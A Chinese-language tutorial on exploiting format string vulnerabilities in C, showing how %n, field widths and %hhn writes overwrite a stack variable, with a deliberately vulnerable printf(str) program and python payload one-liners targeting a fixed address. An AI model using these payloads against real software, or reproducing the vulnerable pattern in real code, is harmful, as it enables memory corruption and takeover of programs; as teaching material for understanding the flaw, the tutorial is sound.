格式化字符串漏洞利用2
现在我们已经可以读取栈上和任意地址的内存了,那么我们同样可以修改栈上任意变量的值,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。
覆盖栈内存
首先明确一点%n
转换指示符将 %n
当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。
举个例子
#include <stdio.h>
int main()
{
int num;
char *str = "hello fmt";
printf("%s %n\n", str, &num);
printf("%d\n", num);
return 0;
}
“hello fmt”后面加上一个空格正好10个字节,将10写入num。
通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(0
补齐时在宽度前加点.
或 0
)。
printf("%0100u%n\n", 1, &i);
printf("\n\ni is : %d\n", i);
下面我们将0xcafebabe写入内存
printf("%03405691582d%n\n", 1, &i);
printf("\n\ni is : %p\n", i);
---------------------------------------
$ ...
$ 0xcafebabe
接着尝试把
栈上的变量覆盖成我们自定义的数值,看如下代码
#include <stdio.h>
int main()
{
int n_change = 1;
char str[200];
printf("before is : %d\n", n_change);
scanf("%s",str);
printf(str);
printf("\nafter is : %d\n", n_change);
return 0;
}
给出格式化字符串之前和格式化字符串之后的对比,我们通过调试确定n_change
变量的地址为0xffffd06c
,比如我们想要覆盖其为16,那么构造的payload就是:
python -c 'print ("\x6c\xd0\xff\xff"+"%012d"+"%5$n" )'
首先是要覆盖的变量的地址,然后输出12个字节,接着就是变量地址在栈空间上的偏移,这个我们之前讲过,12 + 4 = 16。
接着就是验证漏洞了
看到目标变量的地址了,接着继续执行
覆盖成功
覆盖任意地址内存
覆盖小数字
在介绍完上面的溢出套路后,或许会发现一个问题,那就是使用上面覆盖内存的方法,值最小只能是 4,因为地址就占去了 4 个字节。如何覆盖成小数字呢?我们完全可以不把地址放在格式化字符串之前,还是上面的例题。python -c 'print ("AA%7$nAA"+"\x6c\xd0\xff\xff" )' > text2
前面AA%7$nAA
占8个字节,所以从%5变成了%7。地址仍然是要覆盖变量的地址,只不过前面多了8个字节也就是2个地址的单位。
在格式化字符串漏洞函数处下断点,接着将程序跑起来。
变量地址在7个偏移处,执行后看到覆盖完成。
覆盖大数字
按照前面的套路,我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,等待时间较长,而且往往会覆盖掉其他重要的地址而产生错误。
其实我们可以通过长度修饰符来更改写入的值的大小
char c;
short s;
int i;
long l;
long long ll;
printf("%s %hhn\n", str, &c); // 写入单字节
printf("%s %hn\n", str, &s); // 写入双字节
printf("%s %n\n", str, &i); // 写入4字节
printf("%s %ln\n", str, &l); // 写入8字节
printf("%s %lln\n", str, &ll); // 写入16字节
所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。
比如我们想把0xffffd06c处的变量数值覆盖成0x12345678
,我们可以这样做。
// 小端排序
0xffffd06c ---> \x78
0xffffd06d ---> \x56
0xffffd06e ---> \x34
0xffffd06f ---> \x12
前面为要覆盖的地址,后面为要覆盖的数值。都是单字节的。
构造的payload为python -c 'print ("\x6c\xd0\xff\xff" + "\x6d\xd0\xff\xff" + "\x6e\xd0\xff\xff" + "\x6f\xd0\xff\xff" +"%104c%5$hhn"+"%222c%6$hhn"+"%222c%7$hhn"+"%222c%8$hhn" )' > text2
其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 hh
,所以只会保留一个字节 0x78(16+104=120 -> 0x78)
、0x56(120+222=342 -> 0x0156 -> 0x56)
、0x34(342+222=564 -> 0x0234 -> 0x34)
、0x12(564+222=786 -> 0x312 -> 0x12)
。这也就是为什么我们常用hhn的原因了,因为好构造啊。
覆盖成功
参考